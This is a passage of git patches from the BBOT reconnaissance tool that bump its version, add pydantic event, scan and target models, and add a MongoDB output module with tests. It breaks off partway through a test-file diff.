From e54618aa3b31bb5aa05db6eadf7b2caaaac740c4 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:42:49 -0500 Subject: [PATCH 001/912] bump version --- pyproject.toml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 8315373da9..ba84c0bb49 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "bbot" -version = "2.3.0" +version = "3.0.0" description = "OSINT automation for hackers." authors = [ "TheTechromancer", @@ -103,7 +103,7 @@ extend-exclude = "(test_step_1/test_manager_*)" [tool.poetry-dynamic-versioning] enable = true metadata = false -format-jinja = 'v2.3.0{% if branch == "dev" %}.{{ distance }}rc{% endif %}' +format-jinja = 'v3.0.0{% if branch == "dev" %}.{{ distance }}rc{% endif %}' [tool.poetry-dynamic-versioning.substitution] files = ["*/__init__.py"] From 723ea9abe2422a9bc66dfa3c4755e03d9377045d Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 19 Nov 2024 23:22:52 -0500 Subject: [PATCH 002/912] fix conflict --- bbot/core/event/base.py | 6 +-- bbot/scanner/scanner.py | 3 +- bbot/test/bbot_fixtures.py | 76 ++++++++++++++++++++++++++------------ 3 files changed, 58 insertions(+), 27 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index ce627f6959..5408dadd9f 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -40,6 +40,7 @@ validators, get_file_extension, ) +from bbot.db.helpers import naive_datetime_validator log = logging.getLogger("bbot.core.event") @@ -802,7 +803,7 @@ def json(self, mode="json", siem_friendly=False): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = self.timestamp.isoformat() + j["timestamp"] = naive_datetime_validator(self.timestamp).isoformat() # parent event parent_id = self.parent_id if parent_id: @@ -811,8 +812,7 @@ def json(self, mode="json", siem_friendly=False): if parent_uuid: j["parent_uuid"] = parent_uuid # tags - if self.tags: - j.update({"tags": list(self.tags)}) + j.update({"tags": list(self.tags)}) # parent module if self.module: j.update({"module": str(self.module)}) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 49114a5b5d..62e5c9d3ab 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -500,7 +500,8 @@ async def setup_modules(self, remove_failed=True): self.modules[module.name].set_error_state() hard_failed.append(module.name) else: - self.info(f"Setup soft-failed for {module.name}: {msg}") + log_fn = self.warning if module._type == "output" else self.info + log_fn(f"Setup soft-failed for {module.name}: {msg}") soft_failed.append(module.name) if (not status) and (module._intercept or remove_failed): # if a intercept module fails setup, we always remove it diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index e1e3aa1b8b..4d73d036c1 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -147,48 +147,78 @@ def helpers(scan): @pytest.fixture def events(scan): + + dummy_module = scan._make_dummy_module("dummy_module") + class bbot_events: - localhost = scan.make_event("127.0.0.1", parent=scan.root_event) - ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event) - netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event) - ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event) - netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event) - domain = scan.make_event("publicAPIs.org", parent=scan.root_event) - subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event) - email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event) - open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event) + localhost = scan.make_event("127.0.0.1", parent=scan.root_event, module=dummy_module) + ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event, module=dummy_module) + netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event, module=dummy_module) + ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event, module=dummy_module) + netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event, module=dummy_module) + domain = scan.make_event("publicAPIs.org", parent=scan.root_event, module=dummy_module) + subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event, module=dummy_module) + email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event, module=dummy_module) + open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event, module=dummy_module) protocol = scan.make_event( - {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"}, "PROTOCOL", parent=scan.root_event + {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"}, + "PROTOCOL", + parent=scan.root_event, + module=dummy_module, + ) + ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event, module=dummy_module) + ipv6_open_port = scan.make_event( + "[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event, module=dummy_module + ) + url_unverified = scan.make_event( + "https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event, module=dummy_module + ) + ipv4_url_unverified = scan.make_event( + "https://8.8.8.8:443/hellofriend", parent=scan.root_event, module=dummy_module + ) + ipv6_url_unverified = scan.make_event( + "https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event, module=dummy_module ) - ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event) - ipv6_open_port = scan.make_event("[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event) - url_unverified = scan.make_event("https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event) - ipv4_url_unverified = scan.make_event("https://8.8.8.8:443/hellofriend", parent=scan.root_event) - ipv6_url_unverified = scan.make_event("https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event) url = scan.make_event( - "https://api.publicAPIs.org:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://api.publicAPIs.org:443/hellofriend", + "URL", + tags=["status-200"], + parent=scan.root_event, + module=dummy_module, ) ipv4_url = scan.make_event( - "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event, module=dummy_module ) ipv6_url = scan.make_event( - "https://[2001:4860:4860::8888]:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://[2001:4860:4860::8888]:443/hellofriend", + "URL", + tags=["status-200"], + parent=scan.root_event, + module=dummy_module, + ) + url_hint = scan.make_event( + "https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url, module=dummy_module ) - url_hint = scan.make_event("https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url) vulnerability = scan.make_event( {"host": "evilcorp.com", "severity": "INFO", "description": "asdf"}, "VULNERABILITY", parent=scan.root_event, + module=dummy_module, + ) + finding = scan.make_event( + {"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event, module=dummy_module + ) + vhost = scan.make_event( + {"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event, module=dummy_module ) - finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event) - vhost = scan.make_event({"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event) - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) + http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event, module=dummy_module) storage_bucket = scan.make_event( {"name": "storage", "url": "https://storage.blob.core.windows.net"}, "STORAGE_BUCKET", parent=scan.root_event, + module=dummy_module, ) - emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event) + emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event, module=dummy_module) bbot_events.all = [ # noqa: F841 bbot_events.localhost, From f60bd73c053972ee9c76435892734ba77b2af0f5 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 17:25:16 -0500 Subject: [PATCH 003/912] resolve conflict --- bbot/core/event/base.py | 2 +- bbot/models/helpers.py | 16 +++ bbot/models/pydantic.py | 111 ++++++++++++++++++ bbot/{db/sql/models.py => models/sql.py} | 0 bbot/modules/output/mongo.py | 68 +++++++++++ bbot/modules/templates/sql.py | 2 +- bbot/test/test_step_1/test_db_models.py | 29 +++++ .../module_tests/test_module_mongo.py | 81 +++++++++++++ 8 files changed, 307 insertions(+), 2 deletions(-) create mode 100644 bbot/models/helpers.py create mode 100644 bbot/models/pydantic.py rename bbot/{db/sql/models.py => models/sql.py} (100%) create mode 100644 bbot/modules/output/mongo.py create mode 100644 bbot/test/test_step_1/test_db_models.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_mongo.py diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 5408dadd9f..6b1176af65 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -40,7 +40,7 @@ validators, get_file_extension, ) -from bbot.db.helpers import naive_datetime_validator +from bbot.models.helpers import naive_datetime_validator log = logging.getLogger("bbot.core.event") diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py new file mode 100644 index 0000000000..40e127c53b --- /dev/null +++ b/bbot/models/helpers.py @@ -0,0 +1,16 @@ +from datetime import datetime +from typing_extensions import Annotated +from pydantic.functional_validators import AfterValidator + + +def naive_datetime_validator(d: datetime): + """ + Converts all dates into UTC, then drops timezone information. + + This is needed to prevent inconsistencies in sqlite, because it is timezone-naive. + """ + # drop timezone info + return d.replace(tzinfo=None) + + +NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py new file mode 100644 index 0000000000..0d54cc91b7 --- /dev/null +++ b/bbot/models/pydantic.py @@ -0,0 +1,111 @@ +import json +import logging +from datetime import datetime +from typing import Optional, List, Union, Annotated +from pydantic import BaseModel, ConfigDict, field_serializer + +from bbot.models.helpers import NaiveUTC, naive_datetime_validator + +log = logging.getLogger("bbot_server.models") + + +class BBOTBaseModel(BaseModel): + model_config = ConfigDict(extra="ignore") + + def to_json(self, **kwargs): + return json.dumps(self.model_dump(), sort_keys=True, **kwargs) + + def __hash__(self): + return hash(self.to_json()) + + def __eq__(self, other): + return hash(self) == hash(other) + + +### EVENT ### + +class Event(BBOTBaseModel): + uuid: Annotated[str, "indexed", "unique"] + id: Annotated[str, "indexed"] + type: Annotated[str, "indexed"] + scope_description: str + data: Union[dict, str] + host: Annotated[Optional[str], "indexed"] = None + port: Optional[int] = None + netloc: Optional[str] = None + # we store the host in reverse to allow for instant subdomain queries + # this works because indexes are left-anchored, but we need to search starting from the right side + reverse_host: Annotated[Optional[str], "indexed"] = "" + resolved_hosts: Union[List, None] = None + dns_children: Union[dict, None] = None + web_spider_distance: int = 10 + scope_distance: int = 10 + scan: Annotated[str, "indexed"] + timestamp: Annotated[NaiveUTC, "indexed"] + parent: Annotated[str, "indexed"] + parent_uuid: Annotated[str, "indexed"] + tags: List = [] + module: Annotated[Optional[str], "indexed"] = None + module_sequence: Optional[str] = None + discovery_context: str = "" + discovery_path: List[str] = [] + parent_chain: List[str] = [] + + def __init__(self, **data): + super().__init__(**data) + if self.host: + self.reverse_host = self.host[::-1] + + @staticmethod + def _get_data(data, type): + if isinstance(data, dict) and list(data) == [type]: + return data[type] + return data + + @classmethod + def _indexed_fields(cls): + return sorted( + field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata + ) + + @field_serializer("timestamp") + def serialize_timestamp(self, timestamp: datetime, _info): + return naive_datetime_validator(timestamp).isoformat() + + +### SCAN ### + +class Scan(BBOTBaseModel): + id: Annotated[str, "indexed", "unique"] + name: str + status: Annotated[str, "indexed"] + started_at: Annotated[NaiveUTC, "indexed"] + finished_at: Optional[Annotated[NaiveUTC, "indexed"]] = None + duration_seconds: Optional[float] = None + duration: Optional[str] = None + target: dict + preset: dict + + @classmethod + def from_scan(cls, scan): + return cls( + id=scan.id, + name=scan.name, + status=scan.status, + started_at=scan.started_at, + ) + + +### TARGET ### + +class Target(BBOTBaseModel): + name: str = "Default Target" + strict_scope: bool = False + seeds: List = [] + whitelist: List = [] + blacklist: List = [] + hash: Annotated[str, "indexed", "unique"] + scope_hash: Annotated[str, "indexed"] + seed_hash: Annotated[str, "indexed"] + whitelist_hash: Annotated[str, "indexed"] + blacklist_hash: Annotated[str, "indexed"] diff --git a/bbot/db/sql/models.py b/bbot/models/sql.py similarity index 100% rename from bbot/db/sql/models.py rename to bbot/models/sql.py diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py new file mode 100644 index 0000000000..dd4efa47ce --- /dev/null +++ b/bbot/modules/output/mongo.py @@ -0,0 +1,68 @@ +from motor.motor_asyncio import AsyncIOMotorClient + +from bbot.models.pydantic import Event +from bbot.modules.output.base import BaseOutputModule + + +class Mongo(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a MongoDB database", + "created_date": "2024-11-17", + "author": "@TheTechromancer", + } + options = { + "uri": "mongodb://localhost:27017", + "database": "bbot", + "collection_prefix": "", + } + options_desc = { + "uri": "The URI of the MongoDB server", + "database": "The name of the database to use", + "collection_prefix": "Prefix each collection with this string", + } + deps_pip = ["motor~=3.6.0"] + + async def setup(self): + self.uri = self.config.get("uri", "mongodb://localhost:27017") + self.db_client = AsyncIOMotorClient(self.uri) + + # Ping the server to confirm a successful connection + try: + await self.db_client.admin.command("ping") + self.verbose("MongoDB connection successful") + except Exception as e: + return False, f"Failed to connect to MongoDB: {e}" + + self.db_name = self.config.get("database", "bbot") + self.db = self.db_client[self.db_name] + self.collection_prefix = self.config.get("collection_prefix", "") + self.events_collection = self.db[f"{self.collection_prefix}events"] + self.scans_collection = self.db[f"{self.collection_prefix}scans"] + self.targets_collection = self.db[f"{self.collection_prefix}targets"] + + # Build an index for each field in reverse_host and host + for field in Event._indexed_fields(): + await self.collection.create_index([(field, 1)]) + self.verbose(f"Index created for field: {field}") + + return True + + async def handle_event(self, event): + event_json = event.json() + event_pydantic = Event(**event_json) + await self.events_collection.insert_one(event_pydantic.model_dump()) + if event.type == "SCAN": + # here we merge the scan with the one sharing its UUID. + existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + if existing_scan: + # Merge logic here, for example, update the existing scan with new data + updated_scan = {**existing_scan, **event_pydantic.model_dump()} + await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, updated_scan) + self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + else: + # Insert as a new scan if no existing scan is found + await self.scans_collection.insert_one(event_pydantic.model_dump()) + self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + + diff --git a/bbot/modules/templates/sql.py b/bbot/modules/templates/sql.py index 39b4e6f00e..42f5494555 100644 --- a/bbot/modules/templates/sql.py +++ b/bbot/modules/templates/sql.py @@ -3,7 +3,7 @@ from sqlalchemy.orm import sessionmaker from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession -from bbot.db.sql.models import Event, Scan, Target +from bbot.models.sql import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py new file mode 100644 index 0000000000..4e003f6f57 --- /dev/null +++ b/bbot/test/test_step_1/test_db_models.py @@ -0,0 +1,29 @@ +from bbot.models.pydantic import Event +from ..bbot_fixtures import * # noqa + + +def test_pydantic_models(events): + + test_event = Event(**events.ipv4.json()) + assert sorted(test_event._indexed_fields()) == [ + "host", + "id", + "module", + "parent", + "parent_uuid", + "reverse_host", + "scan", + "timestamp", + "type", + "uuid", + ] + + # events + for event in ("http_response", "finding", "vulnerability", "ipv4", "storage_bucket"): + e = getattr(events, event) + event_json = e.json() + event_pydantic = Event(**event_json) + assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host"]) == event_json + + +# TODO: SQL diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py new file mode 100644 index 0000000000..10a8655e81 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -0,0 +1,81 @@ +from .base import ModuleTestBase + + +class TestMongo(ModuleTestBase): + test_db_name = "bbot_test" + test_collection_name = "events_test" + config_overrides = {"modules": {"mongo": {"database": test_db_name, "collection": test_collection_name}}} + + async def setup_before_module(self): + from motor.motor_asyncio import AsyncIOMotorClient + + # Connect to the MongoDB collection + client = AsyncIOMotorClient("mongodb://localhost:27017") + db = client[self.test_db_name] + collection = db.get_collection(self.test_collection_name) + + # Check that there are no events in the collection + count = await collection.count_documents({}) + assert count == 0, "There are existing events in the database" + + # Close the MongoDB connection + client.close() + + async def check(self, module_test, events): + try: + from bbot.models.pydantic import Event + from motor.motor_asyncio import AsyncIOMotorClient + + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Connect to the MongoDB collection + client = AsyncIOMotorClient("mongodb://localhost:27017") + db = client[self.test_db_name] + collection = db.get_collection(self.test_collection_name) + + # make sure the collection has all the right indexes + cursor = collection.list_indexes() + indexes = await cursor.to_list(length=None) + for field in Event._indexed_fields(): + assert any(field in index["key"] for index in indexes), f"Index for {field} not found" + + # Fetch all events from the collection + cursor = collection.find({}) + db_events = await cursor.to_list(length=None) + + # Convert to Pydantic objects and dump them + db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] + db_events_pydantic.sort(key=lambda x: x["timestamp"]) + + # Find the main event with type DNS_NAME and data blacklanternsecurity.com + main_event = next( + ( + e + for e in db_events_pydantic + if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" + ), + None, + ) + assert main_event is not None, "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + + # Ensure it has the reverse_host attribute + expected_reverse_host = "blacklanternsecurity.com"[::-1] + assert ( + main_event.get("reverse_host") == expected_reverse_host + ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" + + # Compare the sorted lists + assert len(events_json) == len(db_events_pydantic) + # Events don't match exactly because the mongo ones have reverse_host + assert events_json != db_events_pydantic + for db_event in db_events_pydantic: + db_event.pop("reverse_host") + # They should match after removing reverse_host + assert events_json == db_events_pydantic, "Events do not match" + + finally: + # Clean up: Delete all documents in the collection + await collection.delete_many({}) + # Close the MongoDB connection + client.close() From 9e1e84ac8485246fd3ecd3387254200a146345f9 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 19 Nov 2024 18:39:37 -0500 Subject: [PATCH 004/912] more wip mongo --- bbot/models/helpers.py | 6 ++++- bbot/models/pydantic.py | 31 +++++++++++++++++-------- bbot/modules/output/mongo.py | 19 +++++++-------- bbot/test/test_step_1/test_db_models.py | 8 +++++++ 4 files changed, 43 insertions(+), 21 deletions(-) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index 40e127c53b..985c845994 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -3,7 +3,7 @@ from pydantic.functional_validators import AfterValidator -def naive_datetime_validator(d: datetime): +def naive_datetime_validator(d: datetime) -> datetime: """ Converts all dates into UTC, then drops timezone information. @@ -13,4 +13,8 @@ def naive_datetime_validator(d: datetime): return d.replace(tzinfo=None) +def naive_utc_now() -> datetime: + return naive_datetime_validator(datetime.now()) + + NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 0d54cc91b7..fe179878e7 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -2,9 +2,9 @@ import logging from datetime import datetime from typing import Optional, List, Union, Annotated -from pydantic import BaseModel, ConfigDict, field_serializer +from pydantic import BaseModel, ConfigDict, field_serializer, Field -from bbot.models.helpers import NaiveUTC, naive_datetime_validator +from bbot.models.helpers import NaiveUTC, naive_datetime_validator, naive_utc_now log = logging.getLogger("bbot_server.models") @@ -12,8 +12,18 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def to_json(self, **kwargs): - return json.dumps(self.model_dump(), sort_keys=True, **kwargs) + def to_json(self, preserve_datetime=False): + ret = self.model_dump() + if preserve_datetime: + for key in ret: + val = getattr(self, key, None) + if isinstance(val, datetime): + ret[key] = val + return ret + + def to_json_string(self, preserve_datetime=False, **kwargs): + kwargs['sort_keys'] = True + return json.dumps(self.to_json(preserve_datetime=preserve_datetime), **kwargs) def __hash__(self): return hash(self.to_json()) @@ -21,6 +31,12 @@ def __hash__(self): def __eq__(self, other): return hash(self) == hash(other) + @classmethod + def _indexed_fields(cls): + return sorted( + field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata + ) + ### EVENT ### @@ -42,6 +58,7 @@ class Event(BBOTBaseModel): scope_distance: int = 10 scan: Annotated[str, "indexed"] timestamp: Annotated[NaiveUTC, "indexed"] + inserted_at: Optional[Annotated[NaiveUTC, "indexed"]] = Field(default_factory=naive_utc_now) parent: Annotated[str, "indexed"] parent_uuid: Annotated[str, "indexed"] tags: List = [] @@ -62,12 +79,6 @@ def _get_data(data, type): return data[type] return data - @classmethod - def _indexed_fields(cls): - return sorted( - field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata - ) - @field_serializer("timestamp") def serialize_timestamp(self, timestamp: datetime, _info): return naive_datetime_validator(timestamp).isoformat() diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index dd4efa47ce..bb92d19d8a 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -1,6 +1,6 @@ from motor.motor_asyncio import AsyncIOMotorClient -from bbot.models.pydantic import Event +from bbot.models.pydantic import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule @@ -42,9 +42,11 @@ async def setup(self): self.targets_collection = self.db[f"{self.collection_prefix}targets"] # Build an index for each field in reverse_host and host - for field in Event._indexed_fields(): - await self.collection.create_index([(field, 1)]) - self.verbose(f"Index created for field: {field}") + for field in Event.model_fields: + if "indexed" in field.metadata: + unique = "unique" in field.metadata + await self.collection.create_index([(field, 1)], unique=unique) + self.verbose(f"Index created for field: {field}") return True @@ -52,17 +54,14 @@ async def handle_event(self, event): event_json = event.json() event_pydantic = Event(**event_json) await self.events_collection.insert_one(event_pydantic.model_dump()) + if event.type == "SCAN": - # here we merge the scan with the one sharing its UUID. + scan_json = Scan.from_event(event).model_dump() existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) if existing_scan: - # Merge logic here, for example, update the existing scan with new data - updated_scan = {**existing_scan, **event_pydantic.model_dump()} - await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, updated_scan) + await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") else: # Insert as a new scan if no existing scan is found await self.scans_collection.insert_one(event_pydantic.model_dump()) self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") - - diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 4e003f6f57..1ba970f0e7 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -1,3 +1,5 @@ +from datetime import datetime + from bbot.models.pydantic import Event from ..bbot_fixtures import * # noqa @@ -23,6 +25,12 @@ def test_pydantic_models(events): e = getattr(events, event) event_json = e.json() event_pydantic = Event(**event_json) + event_pydantic_dict = event_pydantic.to_json() + event_pydantic_dict_datetime = event_pydantic.to_json(preserve_datetime=True) + assert isinstance(event_pydantic_dict["timestamp"], str) + assert isinstance(event_pydantic_dict["inserted_at"], str) + assert isinstance(event_pydantic_dict_datetime["timestamp"], datetime) + assert isinstance(event_pydantic_dict_datetime["inserted_at"], datetime) assert event_pydantic.model_dump(exclude_none=True, exclude=["reverse_host"]) == event_json From 1ebb942b0b5c522d1032a6b6f6299e60a6df6677 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 19 Nov 2024 20:08:24 -0500 Subject: [PATCH 005/912] more mongo wip --- bbot/models/pydantic.py | 66 ++++++++------- bbot/modules/output/mongo.py | 34 ++++---- bbot/test/test_step_1/test_db_models.py | 14 +++- .../module_tests/test_module_mongo.py | 81 +++++++++++++++---- 4 files changed, 133 insertions(+), 62 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index fe179878e7..906801693a 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -1,10 +1,9 @@ -import json import logging from datetime import datetime -from typing import Optional, List, Union, Annotated -from pydantic import BaseModel, ConfigDict, field_serializer, Field +from pydantic import BaseModel, ConfigDict, Field +from typing import Optional, List, Union, Annotated, get_type_hints -from bbot.models.helpers import NaiveUTC, naive_datetime_validator, naive_utc_now +from bbot.models.helpers import NaiveUTC, naive_utc_now log = logging.getLogger("bbot_server.models") @@ -12,19 +11,14 @@ class BBOTBaseModel(BaseModel): model_config = ConfigDict(extra="ignore") - def to_json(self, preserve_datetime=False): - ret = self.model_dump() - if preserve_datetime: - for key in ret: - val = getattr(self, key, None) - if isinstance(val, datetime): - ret[key] = val + def model_dump(self, preserve_datetime=False, **kwargs): + ret = super().model_dump(**kwargs) + if not preserve_datetime: + for datetime_field in self._datetime_fields(): + if datetime_field in ret: + ret[datetime_field] = ret[datetime_field].isoformat() return ret - def to_json_string(self, preserve_datetime=False, **kwargs): - kwargs['sort_keys'] = True - return json.dumps(self.to_json(preserve_datetime=preserve_datetime), **kwargs) - def __hash__(self): return hash(self.to_json()) @@ -33,13 +27,37 @@ def __eq__(self, other): @classmethod def _indexed_fields(cls): - return sorted( - field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata - ) + return sorted(field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata) + + @classmethod + def _get_type_hints(cls): + """ + Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint + """ + type_hints = get_type_hints(cls) + unwrapped_type_hints = {} + for field_name in cls.model_fields: + type_hint = type_hints[field_name] + while 1: + if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): + type_hint = type_hint.__args__[0] + else: + break + unwrapped_type_hints[field_name] = type_hint + return unwrapped_type_hints + + @classmethod + def _datetime_fields(cls): + datetime_fields = [] + for field_name, type_hint in cls._get_type_hints().items(): + if type_hint == datetime: + datetime_fields.append(field_name) + return sorted(datetime_fields) ### EVENT ### + class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] @@ -73,19 +91,10 @@ def __init__(self, **data): if self.host: self.reverse_host = self.host[::-1] - @staticmethod - def _get_data(data, type): - if isinstance(data, dict) and list(data) == [type]: - return data[type] - return data - - @field_serializer("timestamp") - def serialize_timestamp(self, timestamp: datetime, _info): - return naive_datetime_validator(timestamp).isoformat() - ### SCAN ### + class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] name: str @@ -109,6 +118,7 @@ def from_scan(cls, scan): ### TARGET ### + class Target(BBOTBaseModel): name: str = "Default Target" strict_scope: bool = False diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index bb92d19d8a..bc323d7ad9 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -14,18 +14,24 @@ class Mongo(BaseOutputModule): options = { "uri": "mongodb://localhost:27017", "database": "bbot", + "username": "", + "password": "", "collection_prefix": "", } options_desc = { "uri": "The URI of the MongoDB server", "database": "The name of the database to use", + "username": "The username to use to connect to the database", + "password": "The password to use to connect to the database", "collection_prefix": "Prefix each collection with this string", } deps_pip = ["motor~=3.6.0"] async def setup(self): self.uri = self.config.get("uri", "mongodb://localhost:27017") - self.db_client = AsyncIOMotorClient(self.uri) + self.username = self.config.get("username", "") + self.password = self.config.get("password", "") + self.db_client = AsyncIOMotorClient(self.uri, username=self.username, password=self.password) # Ping the server to confirm a successful connection try: @@ -42,11 +48,11 @@ async def setup(self): self.targets_collection = self.db[f"{self.collection_prefix}targets"] # Build an index for each field in reverse_host and host - for field in Event.model_fields: + for field_name, field in Event.model_fields.items(): if "indexed" in field.metadata: unique = "unique" in field.metadata - await self.collection.create_index([(field, 1)], unique=unique) - self.verbose(f"Index created for field: {field}") + await self.events_collection.create_index([(field_name, 1)], unique=unique) + self.verbose(f"Index created for field: {field_name} (unique={unique})") return True @@ -55,13 +61,13 @@ async def handle_event(self, event): event_pydantic = Event(**event_json) await self.events_collection.insert_one(event_pydantic.model_dump()) - if event.type == "SCAN": - scan_json = Scan.from_event(event).model_dump() - existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) - if existing_scan: - await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) - self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") - else: - # Insert as a new scan if no existing scan is found - await self.scans_collection.insert_one(event_pydantic.model_dump()) - self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") + # if event.type == "SCAN": + # scan_json = Scan.from_event(event).model_dump() + # existing_scan = await self.scans_collection.find_one({"uuid": event_pydantic.uuid}) + # if existing_scan: + # await self.scans_collection.replace_one({"uuid": event_pydantic.uuid}, scan_json) + # self.verbose(f"Updated scan event with UUID: {event_pydantic.uuid}") + # else: + # # Insert as a new scan if no existing scan is found + # await self.scans_collection.insert_one(event_pydantic.model_dump()) + # self.verbose(f"Inserted new scan event with UUID: {event_pydantic.uuid}") diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index 1ba970f0e7..5a6fce547c 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -6,6 +6,8 @@ def test_pydantic_models(events): + assert Event._datetime_fields() == ["inserted_at", 